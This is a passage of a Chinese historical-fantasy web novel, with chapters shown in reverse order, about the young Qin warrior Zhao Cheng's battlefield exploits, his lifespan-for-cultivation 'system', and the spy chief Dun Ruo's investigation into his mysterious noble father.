诸位国君反应不一,因为秦国远交近攻的战略,一些国家认为秦军不会攻打他们,所以对此并不在意。
但也有国家认为赵诚威胁太大,假以时日,无人可当,所以暗中响应,遍邀豪侠,准备暗杀赵诚。
……
犨城之外,秦军在此驻扎休整。
蒙武坐在大帐之中,又在给秦王写信。
“大王陛下御览:
臣蒙武顿首再拜,敢以南阳战事陈明于君前。
自克叶县之日,赵诚呈报称楚军星夜兼程,欲与城中残部互为犄角,图歼我师于方城之下。
幸得赵诚先登破城,臣乃将计就计,伏锐士于陉山之麓,张网以待。
及楚援至,其帅乃项氏之虎佗也。
此人素以悍勇闻于江汉,善审虚实,甫见阵形有变,即欲引三万锐卒夺路而走。
幸有赵诚率骑卒万三千,疾驰至犨邑峡道,截其归路。
赵诚挺戟当先,独战项佗于阵前,一合之间,力挫其锋。
项佗胆裂,弃旗而遁,赵诚乘胜追击,一戟枭首以徇。
楚军无主,遂溃于野,尽为我军所歼。
方酣战之后,赵诚犹意气风发,复领突骑三千,衔枚夜趋犨城。
其人只身伪为韩传卒,赚开城门,手刃守将,据城启关。
我军乘乱蚁附,未及三鼓,已克坚城。
此役也,赵诚勇冠三军,威振敌胆,虽古之恶来、孟贲,未易过之。
讫今累战,我军伤亡未逾万数,皆赖将士用命,尤赖赵诚之锐。
该员真乃国之利刃,所指之处,壁垒皆崩。
臣不胜庆幸,得此虎臣辅翼,愿大王重加擢用,以励三军。
臣武惶恐再拜,秦王政十六年孟冬”
蒙武写完这信,感觉心念通达了不少。
唤人来拿了传信,随军报一同送往咸阳。
随后他摊开地图,目光停留在宛城之上,静静思索起来,如同一座木雕一般,动也不动。
此时赵诚在大帐之中,又与蒙恬在学习兵法理论,同时了解许多经典战役。
经过之前杀星入脉之后,他冲脉凝练元气的速度更胜从前。
但随着他投入一千年寿命修炼,凝练元气之后,心中杀气越发浓烈。
不得已只能先停了下来,想着再领悟了其它经脉的凝练规律之后,再继续修炼,或许可以制衡这些杀气。
于是再次兑换了一颗悟性丹之后,又和蒙恬学起了兵法。
“……城濮之战时,晋楚争霸,晋文公重耳为报楚成王之恩,践行“退避三舍”,后撤 9九十里里,在城濮进行决战。”
“当时晋军采用“避强击弱”策略,下军击溃楚右翼陈、蔡联军,上军佯装败退诱敌,中军主力迂回夹击楚左翼……”
赵诚若有所思,说道,“此乃示形诱敌、迂回包抄的战术要义。”
“喔,你学得很快。”蒙恬对于赵诚兵法一道的悟性也是十分惊叹。
“马陵之战,魏国攻韩,齐国再次派孙膑救援,孙膑以“减灶诱敌”之计,在马陵设伏。”
“他故意减少灶坑数量,伪装齐军逃亡严重,诱使魏军庞涓轻敌冒进,最终万箭齐发歼灭魏军。”
赵诚说道,“这是因敌而制胜,审敌虚实,因形用权。”
蒙恬挑眉,“喔,不错呀,你才看了一遍,就能如此准确的对应战役兵法。”
“你再看这个……”
赵诚应答如流,信手拈来。
“此乃必攻不守……”
“全胜不斗,大兵无创……”
“兵道贵一……”
他又举了许多经典战役的例子,每每刚刚讲完战场局势,赵诚便能迅速从之前学习过的理论中,找出对应的理论来相互印证。
悟性丹的作用自然不必多说,赵诚现在是一点就通,且能举一反三,触类旁通,让蒙恬都有点深受打击。
赵诚还学得下去,蒙恬都有点教不下去了。
“累了累了,今天就学到这里。”
赵诚也不强求,兵法一道,深不可测,千变万化。
这些东西他虽然都能够在相应的经典战役之中有所领悟,但是要说完全吃透,恐怕还需要在实战之中体会。
当然,是别人对他用兵法,他在破局之中体会。
他的打仗风格,依然还是以杀为主,一以贯之。
只是不能像项佗那样傻愣愣得冲上前去,被别人玩弄于鼓掌之中。
蒙恬走后,赵诚趁着现在有所体悟,立刻开始了推演。
“系统,投入十年寿命,推演元气运转路线。”
【开始投入寿命推演。】
【第一年,吞下悟性丹后,你悟性大增,又有之前杀星入脉的经验,你继续夜观天象……】
……
【第三年,你依然感到天地之理庞大复杂,但已经确定它们与经脉运行有着无比紧密的关联,隐隐把握到了那一线契合之处……】
……
【第五年,你有所领悟,你认为天上的二十八星宿,对应着体内的各处经脉,但还是没能找到对应规律。】
……
【第九年,一晃数年,你将诸多感悟又重新体悟了一遍,对于蒙恬所述的兵法诡道认识越发深刻,再次夜观天象,发现白虎七宿之中,觜宿又现辉光。
你渐渐沉浸其中,诸多战阵兵法,奇谋战略浮现心间,无数军马好像在脑海之中交战,随着你的意念排兵布阵,互相厮杀。
这时冲脉之中元气再次运转起来,冲入少阳之大络,又与其他十二正经其四交汇循环,复归冲脉之中。】
……
【第十年,你观战星觜宿,领悟冲脉运行阳脉之法,冲脉元气凝练速度再增一倍,冲脉运转一周,可抵周身自行运转上百周。
此时你再次以冲脉运行元气,阴络之中的产生的煞气,会自然而然被阳络转化成为凝练元气的动力……】
赵诚缓缓睁眼,感受着心神之中的杀气消散一空,心神重新变得清明无比,顿时露出笑意来。
“原来如此。”
“奇经八脉是大脉,每一条大脉都对应着两枚星宿。”
“那参宿是杀星,主杀伐,我这几战杀的煞气腾腾,更容易与此星感悟关联,刚好就先与之感应到了,这才杀心难抑!”
“但那觜宿与攻伐谋略、布阵诡道相关,象征着三军之将,我深入学习兵法之后,才能够更好的体悟到他。”
“如此将星入脉,刚好能够引导猛烈的煞气,将其转化成为有序的力量。”
“就像是在战场之上,光是勇猛冲杀,军气如虹还不够,要将这军气通过指挥和排兵布阵,有效的引导才能够转化为最强大的力量。”
“如此正奇结合,阴阳相济,才能够保证体内元气的凝练稳定。”
至此,赵诚冲脉之中的元气,同时运行在阴络与阳络之间,不但十分稳定,而且凝练的速度,更胜从前百倍。
体内所有元气的运转,目前都以冲脉为中心,凝练之后的高质量元气,也都尽皆存储在冲脉之中。
如同一个压缩装置,将吸收来的普通元气,全部集中到冲脉之中去,不断地压缩,不断的淬炼,而后储存在冲脉之中。
这些元气越是凝练,蕴含的力量就越发庞大。
赵诚运行了一丝凝练过后的元气于指尖之上,朝着自己的精铸大戟捏去。
在元气的覆盖之下,那大戟卷曲的一点卷刃,竟然被其以手指硬生生捏平了。
这精铸出来的兵器,在其手中,竟然如同橡皮泥一般柔软。
就连赵诚自己,都是一脸惊奇。
他甚至没有感受到坚硬的阻力。
将这丝凝练之后的元气调回冲脉之中,赵诚想着,就算宛城是铜墙铁壁,自己靠这种凝练过后的元气,也可以轻松打入城中。
破城只在弹指之间。
只可惜现在这种凝练过后的元气还是太少了。
赵诚准备先试探着修炼百年,若是没有出现什么问题,就开始大规模投入寿命,将冲脉之中的元气凝练到极致,看看到时候会有什么变化。
“系统,投入百年寿命,凝练冲脉元气。”
【开始投入寿命凝练元气。】
【第一年,你通过观星入脉之法,凝练冲脉元气,你不断吸收天地元气,大量天地元气从十二正经奇经八脉之中涌入冲脉,而后被不断凝练成一缕,而后化作一丝,最终凝练到几乎看不见……】
……
【第一百年,无尽天地元气被你纳入冲脉,在不断地凝练之中,冲脉之中多出了一丝淡淡雾态的元气,这一丝雾态元气流转在冲脉之中,你吸收天地元气的速度再次提升数十倍……】
推演完毕,赵诚感受着体内那一丝雾态元气,将其调出了一丝运行在指尖之上,而后轻轻朝着大戟弹去。
叮!
一声脆响,大戟卷刃处顿时出现了一个指甲大小的缺口。
断口平滑,犹如被刀刃切割过的豆腐。
第48章 名扬楚国,楚王夜不能寐!
“这#¥%%……”
显然,张余这口怨言憋在肚子里已经许多年了,此时不吐不快,一口气骂了一长串。
他骂一句,顿弱的心就随之暴跳一下,表情也要惊惶一分。
到了后来,顿弱都有点不敢听了,张余才终于骂爽了。
“其实我也知道此事怪不得那人,我自己的妹子什么性格我自己知道,那妮子从小就胆子大,有主张,自己想干的事谁也拦不住,也从来不在乎别人看法。”
“她是喜欢那贵族,我看出过苗头,也奉劝过她,贵族的人,说到底和我们是两个世界的人,不可能有什么结果。”
“可直到那贵族离开了几个月,我才知道,她已经酿成大错,有孕在身,但为时晚矣,连那贵族的名字我都丝毫问不出来。”
“好在那贵族似乎来头不小,那妮子又救了他的命,所以此事不论是乡里还是县中的官老爷都没有刑罚的意思。”
“可孤儿寡母,父亲又身份不明,他们母子在村子里面日子就不好过了。”
“没少让人戳脊梁骨不说,她独自承担着农务和家务,就算有我帮衬着,身体也是一天一天地垮了下去,那些人的冷言冷语,多少对她有些影响,常年郁郁之下,身体越发不好。”
张余叹了口气,“后来我服兵役,憋着一口气,杀出了军功来,当上了里正,她的情况才好了一些,可也没好几年,就撒手人寰。”
“她临走之前,将阿诚托付给我们,我们将阿诚视若己出,这孩子也是个争气的,就算总是吃不饱,体格子依然像个小牛犊子。”
说着,张余突然一拍顿弱的肩膀。
“兄弟,我看你身份不凡,更是大王陛下重用的厉害人物,既然要查阿诚的背景,不如帮我们将他父亲找出来。”
“这事不是阿诚的错,查清楚他父亲是谁也不是为了认亲,我们不是攀附富贵的人,只是不清不楚的总不是个事。”
“而且知道了他父亲是谁,你们也能查清楚他的背景不是?”
迎着张余期盼的目光,顿弱有点头皮发麻。
你这个想法有点子危险啊。
那是能查的吗?
谁查谁掉脑袋!
我说那几年阳城县的官员怎么全都死了个干净,不就是因为知道得太多才死的吗?
顿弱却没有直接拒绝,而是看了看周围,悄然说道,“这事我会查一查,不过,也不能太明显。”
“你也知道秦律严厉,嫡庶有别,搞得太清楚,没准还是害了赵诚。”
张余连连点头,“这我清楚。”
顿弱和张余又聊了一阵,随后探访村中,多方验证打探了消息之后,便带着黑冰台秘士们回程咸阳。
马车上,顿弱整理着情报。
整理到张余所说的部分,有点犯了难。
此事既不能让大王看出自己知道了事情始末,又不能真的将张余所说全部都写上去,不然和当面骂大王有什么区别?
思来想去,在情报上写下:
“……时年不知名贵族流落至怀阳,张氏女救其命,收留养伤期间,暗生情愫,怀有一子,是为赵诚……
后父去,母子相依为命,村民指指点点,赵诚十二岁时,张氏女郁郁而终,其舅监护,视若己出,诚独担户田,初现天赋材力,且食量惊人……”
“……其舅张余虽颇多怨言,却明法理人情,只愿此事不影响赵诚受重用……”
……
楚国多丘陵。
边境山野间,一队兵马疾奔而出,浑身血迹早已干涸暗红,风尘仆仆。
此队惶惶奔逃,直奔楚国陈城。
入了陈城司马门,便是连声悲呼。
“项将军,末将有重大军情来报!”
年过四十的项燕虎目一凝,心生不好的预感,连忙接见几人,见到几人的情况,心中的不安愈演愈烈。
“怎么回事?”
为首的将领噗通跪地。
“我军大败,全军覆没。”
项燕愕然,瞪着一双虎目死死盯着他。
“怎会如此!?”
“六万楚军,三万宛城援军,三万韩军守卒,里应外合夹击秦军,怎么会大败??怎么会全军覆没!?”
如此战机,就算不能打出个大胜来全歼秦军,至少也能是个小胜斩灭秦军大半兵力。
无论如何都不应该是这种结果啊!
项燕想不通,一时间杀人的心思都有了。
“项佗呢!?”
“躲着作甚,让他来见本将!!”
跪在地上的将领目光更是悲切。
“项佗将军,阵前牺牲了!”
项燕愕然失神,好半晌没有说话。
而后一屁股坐在椅子上,深深闭目,心如刀绞。
无论有多大的愤怒,在这一刻,全都化为了痛心。
那毕竟是从小追随在他屁股后面,叫着大哥的堂弟。
“怎会如此,怎会如此啊?”
“就算兵败,以项佗的勇武,突围也是不难的,怎会阵前牺牲?”
项燕有点难以接受,缓和了一下心神,才详细问道,“说清楚战役经过。”
将领说道,“我部随项将军援韩,想与叶县守军里应外合,夹击秦军,尽皆歼灭于叶县之外。”
“谁承想,那叶县竟然提前数日被蒙武攻破,项将军冲阵之下,顿时中了蒙武的埋伏。”
“对方早已经布置重兵,只等我军进了口袋,就以三叠阵磨杀前锋,包围后军。”
“项佗将军发现不对,当机立断突围,却在退到峡道时,受到一部骑兵所阻。
对方只有万余,项将军率领三万兵力,本想强行突围,哪知道,秦军之中出了一员猛将,项佗将军竟然不是他一合之敌。”
“对方手持大戟,一戟打退项佗将军,而后入阵追杀,如入无人之境,项佗将军不堪羞辱,回身再战,却被那人一戟枭首……”
项燕听得深深皱眉,感到有些难以相信。
项佗身负家传,勇力超群,寻常猛将都不是他一合之敌,怎么可能被一戟打退,又一戟枭首?
这是多大的武力差距?
“蒙武部下,竟有如此猛将?”
“此人是谁?有何声名?”
将领说道,“此人名为赵诚,年方十六,刚入伍参军月余,但是在军中声望已经是如日中天,据说叶县之所以这么快就被破了,就是因为他!”
“详细说说。”
“末将突围之际,抓了数名敌方追军,严刑拷问此人信息,这些秦军抵死不从,丝毫不愿意透露此人消息。”
“只有一个蠢笨的,被我套出了话来。”
“他说叶县本来确实要几日之后才能攻下,但是那叫赵诚的小将死间入城,不但在城中四处制造混乱,将围杀他的守军都尽皆斩杀。
甚至还潜伏到了城头之上,接近了地方守将,将守将斩于两军阵前,而后更是攻破瓮城,开启城门,这才让叶县提前数日被攻破,导致我军中伏。”
项燕讷讷无言,“如此神勇,竟然只是个十六岁的少年?”
十六岁啊。
一戟退项佗,一戟斩项佗,万人敌在他面前,竟然不是一合之敌。
假以时日,将会是何等神威?
深入敌后,杀出重围,斩其守将,开其城门。
如此攻城,何人能当?
“此事事关重大,速传急报入寿春,呈现给大王!”
项燕亲自提笔,将项佗兵败身死,秦军之中出了一名少年神将的消息写于帛书之上,而后派奔命士连夜急传到楚都寿春!
“……此子务必尽早解决,不然日后必然是六国的心腹大患!”
半日后,楚国上下大震。
项佗兵败!
六万楚军全军覆没!
少年小将一戟败退项氏之虎!
短短时间内,赵诚之名传遍楚国朝堂。
但凡知道项佗武力值含金量的人,得知这个消息无不讷讷无言。
楚幽王熊悍更是一夜未眠,一大早就召唤群臣,讨论兵败之事。
楚国本想趁乱,重创秦军,并在南阳郡分上一杯羹,谁想到,竟然折损了六万楚军和一员大将,简直就是赔了夫人又折兵!
“陛下,臣以为,项佗此人刚愎自用,有勇无谋,全军覆没全都是他一人罪责,至于什么少年神将,定然全都是杜撰!”
“臣不这么认为,叶县虽然不是宛城那等重城,但依险而建,更有三万重兵把守,就算蒙武施展断水之计,依然不能短短三日破开此城。
若非敌方那个少年小将武力超群,提前攻破叶县,项将军怎么会中伏呢?”
“臣也作此想,此战对方提前拿下叶县,这本就不合常理,秦军攻城不下,我方援军奇袭,更有里应外合,本是天赐良机。
但是正因为那少年的变数才导致局势大变,从有利于我的战局,变成了不利于我的战局。
项将军兵败,情有可原!”
“臣以为,是因为蒙武这等名将亲自布局,天衣无缝,这才导致项佗将军全军覆没。”
听着一群文臣在那里激烈争辩,老将景骐忍不住了,踏上前来喝道:
“非也!你们打过仗没有,就在这里大放厥词?
别说是蒙武,就算是天王老子来了,也没法在这么短的时间内拿下叶县,损兵折将强行攻城尚且拿不下,更何况断水之计这等困城之策?”
“那少年猛将的消息虽然玄奇,但在我看来,完全有迹可循,不论是叶县提前被夺,还是项将军突围失败,都足以证明此子神武不可小觑。
大王试想,此子若是单兵突入楚国,潜入都城,甚至是王宫,王都上下谁人可挡?
让他们这些只会搬弄口舌的家伙去挡吗?”
此话一出,朝堂上下,顿时鸦雀无声。
众文臣都是不敢多言,生怕多说一句,就真的被派去阻挡那个少年。
而楚幽王眼眸一眯,背后一阵发凉。
军报之上说,项氏之虎项佗面对此子都不是一合之敌。
这人在城中面对数千守军围杀,尚能不断突围,更能反杀过半围杀他的守军。
若是真的被他悄无声息摸进了王宫,谁人可当?
本王的脑袋还能好好的呆在脖子上吗?
楚幽王越想,越是不寒而栗。
此子不除,寡人夜不能寐!
第47章 张余怒骂嬴政,吓坏的顿弱
怀阳村。
里正张余蹲在田垄前,看着眼前逐渐成形的大宅,脸上都笑出了花来。
“嘿嘿,嘿嘿嘿嘿……”
这几天,他没事的时候就蹲在这里看着,怎么看也看不够,心情愉悦得很。
舅妈带着饭来这里找到他,见他乐得像个傻子,不由得一巴掌拍在他的脑袋上。
“笑什么笑!?”
张余捂着脑袋,还是乐,“阿诚军功封爵,五大夫啊,这大宅子你看看,哦哟,我就见过县里的大老爷有这么大的宅子,每次路过,我都在心里面偷偷骂他们。”
“现在阿诚也成大老爷了,嘿,这家伙,比那些大老爷还大。”
舅母却不是太开心的样子,一脸忧愁,“大老爷咋嘞!还不是拿命搏回来的?”
“打仗是那么好的事吗?多大宅子也得有命住才行!”
“战场上刀剑无眼,这小子又没个深浅,一想到他没头没脑地往上冲,我就好几宿好几宿睡不着觉。”
“一做梦啊,就全是喊打喊杀,老是梦见阿诚被敌人围在中间,他冲不出去,那长矛都往他身上捅,他身上都是血,喊着舅母救我,救我……”
说着,舅母扭头抹眼泪。
张余愕然,“你说你这娘们,不能梦点好的?”
“打仗怕啥嘞,老爷们就得打仗,别人不知道,你不知道吗,咱家外甥天生神力,那体格子铁打的,十里八乡都有名的小铁人,谁能打得过他?”
“一战就能杀敌二百多个!”
“敌军敢围杀他?那不得来五百人……八百人……至少一千人,才有可能围得住他!”
“娘们就是屁都不懂,阿诚入的是中央军突骑营,那是一顶一的强军,围住敌军还差不多,还能让敌人围了?”
“快把心放肚子里吧,啥事没有。”
张余嘴上呼呼喝喝,威风得很,心里面也是被舅母说得七上八下。
他能当里正,也是在战场上立了功的,知道战场瞬息万变,没有他说的这么简单。
好在舅母确实被他说服了,放心了不少。
“你吃饭吧,我去里头看看,这些家奴也不知道盖过宅子没,那柜子伙房啥的,都得安排妥当了才行,要不以后阿诚娶了媳妇,做饭都不好做……”
舅母走了,张余吃着饭,砸吧着嘴,突然觉得看着大宅子也有点不是滋味。
正这时,一个身穿黑色绣服的男子走了过来,“大爷,这是五大夫赵诚新起的宅子吧?”
张余警惕地看了他一眼,“是,你有何事?”
“没什么事,就是听说这位五大夫神勇无敌,是万夫莫敌的猛将,敬仰他的名声,过来看看,了解了解他以前的生活是啥样的?”
这秘士面露敬仰,看着倒是很真诚。
张余却微微后退了半步,依然警惕,“你是哪来的?”
“姓甚名谁,家住何处?”
秘士有点尴尬,依然笑着说,“您不用这么紧张,我就是和您随便聊聊。”
张余盯着他,“说不出来了吧,我看你是敌军潜入的间子!”
两军交战,敌方间子深入国境,以家中亲人威胁将领的事情并不罕见。
更何况战场距离此地不远,赵诚又一战成名,张余更是被舅母几句话说得警惕心大增,看谁都不像好人。
“不是,我怎么会是间子?”
秘士哭笑不得,“我是……”
他的身份又不方便说,干脆不再多说,想着此人问不出来,换一个人再打探就是,于是转身就走,准备去其他地方再打探一些情报。
张余已是如临大敌,见他要跑,立刻做实了心中想法。
明枪易躲,暗箭难防,不能让他就这么跑了!
当下张余也是不管不顾,提起血勇,几步上前就抱住秘士胸腹,狠命向地上摔去,想要出其不意将其制服。
秘士一惊,一个趔趄又站稳了身形,心中已涌起怒意来。
本地的村民太没礼貌了!
他黑冰台秘士虽无官职,但是寻常大臣见面尚且礼遇有加,哪有这样粗鄙的人上来就要动手的?
真是不知死活!
他腰腹微微发力便将张余甩了下去,随后抬起一脚就踹向张余。
这一脚落下,力道不小,好歹能让这村民几天下不来床,也算略施惩戒。
张余一屁股坐在田里,看着那大脚踹来,心道完了。
嘭!
秘士后腰突然有巨力撞来,整个人弯曲着飞了出去,在田垄间滚了数圈。
他捂着腰间翻身而起,顾不得肋骨断裂之痛,就要暴起反击。
但那摸刀的动作刚刚进行了一半,就突然僵硬住了。
无他,眼前站着的,是黑冰台的老大。
顿弱!
此时顿弱眉宇间的温和早已不见,取而代之是双眸寒芒爆射,让秘士浑身发凉。
此时场面非常安静,三人都是冷汗直冒。
秘士吓坏了。
他从未见过大人如此神色,那寒光笼罩之下,他感觉自己随时可能死去。
他慌张解释,“头儿,我……”
顿弱也吓坏了。
手下这一脚,差点把他的脑袋踢没了!
自己还想着过来提前抱大腿呢,结果大腿没抱上,差点就提前结了大仇!
断我抱大腿之路,简直就是找死!!
“回去领天罚。”
天罚……
天级罚戮,生不如死。
秘士脸色一白,却顺从点头。
此时一旁的张余已经是汗出如瀑,他也吓坏了。
那间子已经如此厉害,随便一动就将他轻松甩开,完全敌对不过。
这间子头目一脚将其踹飞如此之远,又该如何厉害?
这可坏了!
对方直接来了一个团伙啊。
自己这是打不过了,但媳妇还在宅子里面,跑是不能跑的,这该如何是好?
心念急转之间,张余浑身紧绷,死死地盯着顿弱,思索着破敌之策。
短短时间内,额头已经是冒出汗水来了。
三人僵持之际,顿弱突然快步来到张余深浅,在张余警戒之中,弯腰深深一揖。
“我管教下属不力,还望恕罪。”
张余惊呆了,不可思议地看着眼前的“间子头目”,半晌没回过神来。
周围的黑冰台秘士也惊呆了。
这村民难道是什么秦国隐世不出的大人物?
竟然能够让黑冰台的首领如此礼敬?
之前冒犯了张余的秘士更是面如死灰,他何曾见过顿弱如此礼遇秦王之外的其他人?
何况对方表面看起来只是一个村民,往往这种反差,都是返璞归真的大人物!
自己这是冒犯了什么存在?
“你们……不是韩国的间子吗?”张余疑惑的问道。
顿弱真诚笑道,“说我们是间子也不算说错,不过我们就算做间子,也是秦国的间子。”
“介绍一下,我叫顿弱,奉大王陛下手令,前来查探赵诚生平。”
“方城隘口一战,赵诚勇武,军功卓著,已经落入大王眼中,大王重视,特命我等探清赵诚生平,背景,性情,以便日后重用。”
他说得实在真诚,又拿出了秦王手令,同时又给张余看了自己那黑冰令牌,以及从县令之中拿出来的户籍简。
“我刚从县治过来,与蒙威相识,若是不信,咱们可以去蒙威那里一叙。”
虽然说张余认不出来手令和黑冰令牌,但不妨碍他认识那户籍简。
前些日子他刚刚亲手拿着赐爵令去更换的户籍,那户籍简上还有他的代印,做不了假。
“原来是这样。”张余得知赵诚的勇武已经落入到了大王眼中,即将得到大王重用,顿时高兴起来。
他看向之前误会的秘士,“对不住小伙子,之前是我误会了。”
他又看向顿弱,“是我先动的手,就别责罚他了。”
顿弱摇了摇头,“他是个新人,做事没守规矩,当然要让他长些记性。”
他挥了挥手,让手下全都撤去,而后就与张余蹲在田垄边上,交谈起来。
那一身不凡的绣服穿在身上,此时却仍然有一股老农的气质。
蹲在张余身边,丝毫不显得违和,完美融入到了环境之中。
二人谈起赵诚生平。
张余颇为感慨。
“……这孩子从小就没见过他爹,十几岁又没了娘,过得孤苦伶仃,好在他有出息,一个人就能种得来百亩地,甚至还有余力帮我们做些农活。”
“十里八乡的人见了他,谁不得赞一句铁打的小伙?都等着他到岁数,把自己家的姑娘嫁给他嘞!”
张余自豪着,又咧了咧嘴,“就是饭量实在太大,半个月就能吃空我家的米缸,还得经常上山打猎,才勉强算是养活了他自己。”
“就这,还是吃不饱,才十五岁就闹着要去入伍参军,咱秦国有规定啊,不到岁数哪里能让他去参军。”
“谁知道,突然又打起仗来了,他之前就想要入伍参军。
这下好了,年龄标准下放,他是高高兴兴的去参军了,才封了个爵,就把他舅母吓得好几宿睡不着觉。”
“大人,你大可放心,咱家人都是良民,没有那作奸犯科的货色。”
好似生怕顿弱不信,他还说起了自己,“我跟着中央军,打过好几场仗嘞,杀过五六个韩兵,从小就教赵诚忠勇……”
顿弱一直轻声附和,让张余很有诉说的欲望。
但当张余停下来,顿弱自然而然地问道,“我自然相信他是好孩子,不过背景上,还得了解了解他爹的情况……”
张余没有说话,有些臊眉耷眼。
顿弱知道此事不能太明显,对方若是不说,或者不知道,反而是大好事。
“不知道也无妨。”
谁知道张余憋了半天,突然冒出一句,“那个狗娘养的……”
顿弱浑身一震,心头暴跳间,差点伸手去捂张余的嘴。
我的祖宗诶,这可不兴骂啊!
第46章 阳城军报,顿弱的惊天猜想
清晨时分,阳城县外,一辆马车缓缓驶入县城之中。
几名身穿黑色丝绸绣服,肩膀绣有银丝狼首的利落男子从马车上下来,为首一人面相柔和,眉眼含笑,看起来深沉优雅间,又让人不自觉地感到亲和无比。
正是领命前来调查赵诚的顿弱。
顿弱此人,是秦国远交近攻战略的提出者和执行者,曾带人潜入其他国家,重金贿赂各方大臣,让他们听命于秦,并挑动其他国家之间的矛盾和纷争。
同时,顿弱也是黑冰台的首领。
他很少出手,没有人知道他的实力如何,但是黑冰台的所有秘士,都对其尊敬有加。
“你们前去赵诚所在村落,调查赵诚生平,我去县廷看一看。”
“是。”
几名秘士瞬间散去,顿弱则是缓步踏入县廷之中。
面对卫士的阻拦,他只是递上了几枚铜钱,又随口说了几句话,便成功取信卫士,相信他是县令大人的故交,任由他走进去了。
顿弱悠然走入县廷,无声无息之间,来到正在处理案牍的县令身旁。
县令甚至毫无察觉,皱眉沉思间,突然感觉一旁有人在帮自己整理香炉。
“不是说了,我在处理公务的时候,不要……”
他正想斥责,扭头一看,却见是一个面相亲和的中年男子站在那里,不由得愕然。
“你……你是何人!?”
顿弱动作舒缓地整理好香炉,一丝不苟中带着让人舒心的优雅。
“王大人不必惊慌,我奉大王之令来此,调查一个人。”
他只是安静的诉说,却让人感到十分的信任,仿佛以他的真诚,根本不会欺骗任何人。
“原来是大王有令,您想要调查谁?”县令突然一惊,“……等等,你如何证明自己是大王派来的?”
顿弱从怀中掏出一枚黑冰材质的令牌,“黑冰台,王大人应该听过吧?”
县令目光茫然。
黑冰台的存在,十分隐秘,他只听过一些传闻,哪里认得令牌,但是此人给他的感觉,实在是让人不想怀疑。
正此时,蒙威突然踏入房间,“原来是顿弱大人,有失远迎。”
顿弱顿时笑了起来,柔和道,“蒙威啊,还好你在,省了我自证的麻烦。”
蒙威苦笑,“以你的本事,哪里会有什么麻烦,愿意证明身份,已是看的起我们了。”
顿弱摇头,“言过了,这是秦国县治,我怎能不告而取?”
蒙威问道,“你来此是要查谁?”
顿弱说道,“你应该听过这个人,他叫赵诚,是今年攻韩入伍的新兵,方城隘口一战军功卓著,入了大王的眼,大王命我来查一查他的生平。”
蒙威虽说心中有所猜测,但是当听到赵诚的名字时,还是一惊,随后欣喜起来,为赵诚感到高兴。
“我就说这孩子日后前途无量,来来来,顿弱大人坐,我与你说一说。”
看到蒙威高兴间有些自豪的反应,顿弱也来了兴趣,坐下静听。
“此子天赋异禀,高大英武,刚来县廷报道,站在那人群之中,便如鹤立鸡群一般。”
“一测之下,更是材力惊人,十二石的石锁,单手就能够举起来,端的是天生神力!”
“……不过月余时间,此子骑术射术尽皆通神,二百丈外,奔马齐射飞鸟,一弓三箭,百发百中!”
“就是吃得太多了,一顿饭能够吃几十个人的饭量,在这不过月余时间,差点把县廷都吃穷了……”
一番诉说,顿弱连连点头,心中也是十分惊异。
月余时间,竟然能够将骑术射术都练习到如此地步。
这种程度,很多人就算穷极一生,也难以到达。
此人确实是个天生猛将。
“方便让我看一看案牍吗?”
既然已经确认了顿弱的身份,自然也没有什么不可。
县令立刻让人调来了赵诚的户籍简等文件。
顿弱静静翻看,在字里行间,仿佛看到了赵诚十几年的生活轨迹。
正静静观看时,外面突然传来奔马急报。
“报——”
“我方大军攻下叶县,破敌三万,将军请调兵卒粮草,前去镇守叶县。”
前方攻克城池,后方则是援派力量镇守,将后方彻底巩固下来,大军才好不断向前攻占。
“叶县已经攻下来了,这么快?”
蒙威迎上前去,接过传卒手中的沿途简报,一看之下顿时惊呆了。
“断水困孤城……”
“……都尉赵诚间入叶县,于敌后制造大乱,焚烧官署,在四千兵力围杀中,反杀两千余级,又潜伏上城头,斩将据城,破门启关,斩敌又三千余??”
“这……这是真的?”
就算是蒙威对赵诚很有信心,但是这份简报依然让他难以置信。
传卒昂头骄傲道,“那还能有假?有全军为证!”
“都尉大人在城头斩将杀敌之时,我等就在下面亲眼见证,那当真有如天神下凡,神兵天降,一刀!”
“那韩军守将的脑袋就掉了下来,被都尉大人……不,现在应该叫赵将军了,赵将军提着那韩将的脑袋,在城墙之上横扫千军。”
“你们是没看到,那城上敌军飞起无数,就像下雨一样,下面的同袍手起刀落就是一个军功!”
“可恨我当时没在城下,没有分到将军砸下来的军功……”
说着,传卒还是十分遗憾。
“若是将军没有给兄弟们分军功,他的军功还能再多一些嘞!”
这传卒说起赵诚,崇敬狂热之意溢于言表。
蒙威听着,更是与有荣焉,拍着传卒的肩膀,递上了一壶茶水。
“喝口水解解渴先。”
“你不知道吧,你们赵将军攻韩之前,是在我麾下训练的,他那把乌木弓,就是我送的。”
传卒顿时眼睛一亮,连带着对蒙威都敬仰起来,“原来那把阎王令是您送的,您真是英明!”
这下轮到蒙武惊讶了,“阎王令?”
传卒笑道,“嗨,那是我们给将军那把弓起的名字,那弓本就精良,将军每箭必开满此弓,只要弓弦一响,必有一名甚至好几名敌人暴毙,不是阎王令是什么?”
蒙威惊叹合掌,“好名字!正是阎王令。”
“……”
两人聊得火热。
顿弱将传卒的狂热看在眼中,惊叹于赵诚在军中的声望。
同时,他也有些难以置信,一个人的武力到底要强大到什么程度,才能够在一战之中做出这么多的事情来?
斩敌五千余?
就算士兵站在那里让人杀,五千个人也要杀上半天吧。
这家伙铁打的不成,他就不会受伤吗?
顿弱手指敲击在案牍之上,目光陡然锁定在那乡间志录中,“人称小铁人”这几个字眼之上。
他突然笑了起来。
真是天命在秦。
大王正要东出灭六国,就有如此少年神将降临军中。
假以时日,何人可当此锋芒?
但越是如此,他越是要仔细调查赵诚,必须确认赵诚的背景干净,性情可靠。
不然的话,此人在秦,那是神助。
若是倒戈,就是心腹大患!
如此想着,顿弱的手指轻翻案牍,突然目光一凝,落在一行字上。
“其父不明,疑似某贵族流落怀阳村,与民女张云所生。”
顿弱沉思片刻,突然眉头一挑,眉宇间的笑意瞬间收敛,眸间更是闪过一抹惊色。
“赵诚……贵族……十六岁……怀阳村……”
“嘶……”
他的眉头越皱越深,某种可能石破天惊般震响在他的心间。
“没记错的话,大王初登王位时,曾在三川郡遇刺……”
就连嬴政都不知道,顿弱竟能了解这些隐秘。
毕竟当初的事情,所有的线索都早就被他清理得一干二净。
但顿弱多年整理情报,于多方情报关联之间,早已推测出了许多看似空白的情报。
如今想到这个可能,顿弱瞬间惊得浑身绷紧。
几年以来,他还是头一次如此紧张。
因为,他好像知道了什么不该知道的事情。
这种事情,除非大王想要他知道,不然的话,他绝对不能表现出一丝一毫知情来。
“真是要命的消息……”
顿弱揉了揉眉心,“若是此事为真,就必须彻底捂住,不然大王会有些小麻烦,我却有大麻烦。”
